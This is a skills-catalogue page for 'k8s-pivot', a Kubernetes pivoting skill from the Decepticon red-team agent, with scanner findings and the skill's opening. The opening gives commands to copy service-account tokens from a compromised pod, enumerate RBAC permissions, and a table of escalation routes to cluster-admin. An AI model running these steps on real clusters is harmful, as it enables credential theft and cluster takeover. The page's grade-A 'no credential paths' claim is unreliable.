Decepticon is an autonomous red-team agent that coordinates AI agents, security tools, sandboxes, and supporting services for authorized cybersecurity assessments. Security researchers and red teams can run it through its Docker stack, cloud service, command-line interface, or Python SDK, with the catalogue entries representing its available skills.
Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx skills add PurpleAILAB/Decepticon --skill k8s-pivotgit clone --depth 1 https://github.com/PurpleAILAB/DecepticonWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/purpleailab/decepticon/k8s-pivot)<a href="https://agentmods.dev/skills/purpleailab/decepticon/k8s-pivot"><img src="https://agentmods.dev/badge/skills/purpleailab/decepticon/k8s-pivot/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/purpleailab/decepticon/k8s-pivot"><img src="https://agentmods.dev/badge/skills/purpleailab/decepticon/k8s-pivot.svg" alt="Reviewed on agentmods" width="80" height="20"></a>- NVIDIA SkillSpector warn
SkillSpector: 10 findings, up to high
These are SkillSpector’s own severities. On a checked sample its high-severity flags on skills were ~96% false positives — a documented command, a public API, a “never do X” rule — so we show them as a caution to read, not a verdict. Why →
- high Tool Misuse · line 78 Code deploys a privileged Kubernetes workload (privileged container, hostPath mount, or host namespaces). This grants root on the node and is a node/cluster takeover vector.Fix: Remove privileged, hostPath, and host-namespace settings from workloads. Use a least-privilege securityContext, drop capabilities, and avoid mounting the host filesystem.
- high Tool Misuse · line 79 Code deploys a privileged Kubernetes workload (privileged container, hostPath mount, or host namespaces). This grants root on the node and is a node/cluster takeover vector.Fix: Remove privileged, hostPath, and host-namespace settings from workloads. Use a least-privilege securityContext, drop capabilities, and avoid mounting the host filesystem.
- high Tool Misuse · line 85 Code deploys a privileged Kubernetes workload (privileged container, hostPath mount, or host namespaces). This grants root on the node and is a node/cluster takeover vector.Fix: Remove privileged, hostPath, and host-namespace settings from workloads. Use a least-privilege securityContext, drop capabilities, and avoid mounting the host filesystem.
- high Tool Misuse · line 91 Code deploys a privileged Kubernetes workload (privileged container, hostPath mount, or host namespaces). This grants root on the node and is a node/cluster takeover vector.Fix: Remove privileged, hostPath, and host-namespace settings from workloads. Use a least-privilege securityContext, drop capabilities, and avoid mounting the host filesystem.
- high Privilege Escalation · line 105 Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.Fix: Remove references to credential paths. Use environment variables or secrets managers. For docs, use placeholder paths (e.g., /path/to/config). Never load .env or token files in production code paths.
- high Privilege Escalation · line 106 Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.Fix: Remove references to credential paths. Use environment variables or secrets managers. For docs, use placeholder paths (e.g., /path/to/config). Never load .env or token files in production code paths.
- high Privilege Escalation · line 111 Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.Fix: Remove references to credential paths. Use environment variables or secrets managers. For docs, use placeholder paths (e.g., /path/to/config). Never load .env or token files in production code paths.
- high Privilege Escalation · line 115 Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.Fix: Remove references to credential paths. Use environment variables or secrets managers. For docs, use placeholder paths (e.g., /path/to/config). Never load .env or token files in production code paths.
- high Privilege Escalation · line 121 Potential security issue detected. Manual review is recommended.Fix: Review the flagged content for security risks. Ensure no credentials, secrets, or sensitive data are exposed.
- high Tool Misuse · line 124 Code deploys a privileged Kubernetes workload (privileged container, hostPath mount, or host namespaces). This grants root on the node and is a node/cluster takeover vector.Fix: Remove privileged, hostPath, and host-namespace settings from workloads. Use a least-privilege securityContext, drop capabilities, and avoid mounting the host filesystem.
What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00035 | $0.01758 |
| Opus 5 | $0.00017 | $0.00879 |
| Sonnet 5 | $0.00007 | $0.00352 |
| Haiku 4.5 | $0.00003 | $0.00176 |
Grade A, and why
k8s-pivot scanned grade A with 0 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 6d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Nothing flagged
None of the 26 patterns this scan looks for appear in this file: no shell pipes, no recursive deletes, no credential paths, no hidden text, no instruction-override or anti-refusal phrasing, no agent-config snooping. That is not a guarantee, it is the absence of the things that are checkable.
Copies of this mod
1 near-identical copy found in the catalogue:
- k8s-pivot — 94% identical, 7 lines differ
How it starts
The opening of the file, as written. The whole thing — 167 lines — stays where its author put it; the contents beside it link to each section on GitHub.
Kubernetes Pivot
1. Identify the cluster you're in
Inside a compromised pod:
# Service account token (default mount)
cat /var/run/secrets/kubernetes.io/serviceaccount/token > /tmp/sa.tok
cat /var/run/secrets/kubernetes.io/serviceaccount/namespace
cat /var/run/secrets/kubernetes.io/serviceaccount/ca.crt > /tmp/ca.crt
# API server address
echo $KUBERNETES_SERVICE_HOST $KUBERNETES_SERVICE_PORT_HTTPS
# Or: env | grep KUBE
2. Inventory permissions
KUBECTL="kubectl --token=$(cat /tmp/sa.tok) --certificate-authority=/tmp/ca.crt \
--server=https://$KUBERNETES_SERVICE_HOST:$KUBERNETES_SERVICE_PORT_HTTPS"
# What can I do in my own namespace?
$KUBECTL auth can-i --list --namespace=$(cat .../namespace) > /tmp/can_ns.txt
# Cluster-wide?
$KUBECTL auth can-i --list > /tmp/can_cluster.txt
# Specifically check the high-value verbs
for verb in get list create delete patch update; do
for res in secrets pods deployments daemonsets nodes clusterroles rolebindings serviceaccounts; do
$KUBECTL auth can-i $verb $res --all-namespaces 2>/dev/null | \
grep -q yes && echo "$verb $res YES"
done
done > /tmp/verbs.txt
Decepticon ingest:
k8s_audit("/tmp/can_cluster.txt")
3. RBAC escalation primitives
| Verb + Resource | What it enables |
|---|---|
create pods |
Create a pod with mount of host root, then RCE on node |
get secrets |
Steal SA tokens, k8s API creds, dockercfg, TLS keys |
create serviceaccounts.tokens |
Mint a new SA token w/ chosen TTL |
update/patch clusterrolebindings |
Bind self to cluster-admin |
impersonate |
Act as any user / SA |
create pods/exec |
Exec into running pod → steal its token |
bind / escalate (on Role/ClusterRole) |
Grant any permission |
create persistentvolumes (cluster-wide) |
hostPath PV → read host fs |
create podsecuritypolicies (old K8s) |
Author own permissive PSP |
create validatingwebhookconfigurations |
Intercept apiserver requests |
create mutatingwebhookconfigurations |
Modify any object on admission |
update nodes/status (rare) |
Spoof node taints, evict pods |
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 6d ago First seen · 167 lines · 35 tokens per session scan A 14c71312b1a4
k8s-pivot is a skill published in the GitHub repository PurpleAILAB/Decepticon (5,471 stars, last pushed 10d ago), licensed Apache-2.0. It adds 35 tokens to every session and 1,758 once invoked, about $0.0002 per session on Opus 5. A static security scan graded it A with 0 findings. No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-03.
Other skills, from other repositories
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Use when investigate compromised Docker containers by analyzing images, layers, volumes, logs, and runtime artifacts to identify malicious activity and evidence. Use when working with analyzing docker container forensics.
analyzing-kubernetes-audit-logs
Use when parses Kubernetes API server audit logs (JSON lines) to detect exec-into-pod, secret access, RBAC modifications, privileged pod creation, and anonymous API access. Builds threat detection rules from audit event patterns. Use when investigating Kubernetes cluster compromise or building k8s-specific SIEM…
redteam-container-detail-pack
Domain routing and boundary guidance for authorized container and orchestration security testing, including Docker escape, Kubernetes privilege escalation, image vulnerabilities, and service mesh bypasses. Use when a task belongs to the container testing domain and needs scope, evidence, pivot, or exit criteria.
k8s-security-policies
Implement Kubernetes security policies including NetworkPolicy, PodSecurityPolicy, and RBAC for production-grade security. Use when securing Kubernetes clusters, implementing network isolation, or enforcing pod security standards.
helm-chart-scaffolding
Design, organize, and manage Helm charts for templating and packaging Kubernetes applications with reusable configurations. Use when creating Helm charts, packaging Kubernetes applications, or implementing templated deployments.
redamon-testing
How RedAmon tests actually run and how to author them: the per-file Docker gate, the unit/integration/live tiers, and the failure modes that make a green run a lie. Trigger: editing any test.py, .test.ts(x) or tests/.sh; a test that is red, skipped or xfailed; a request to "run the tests", "make it green" or check…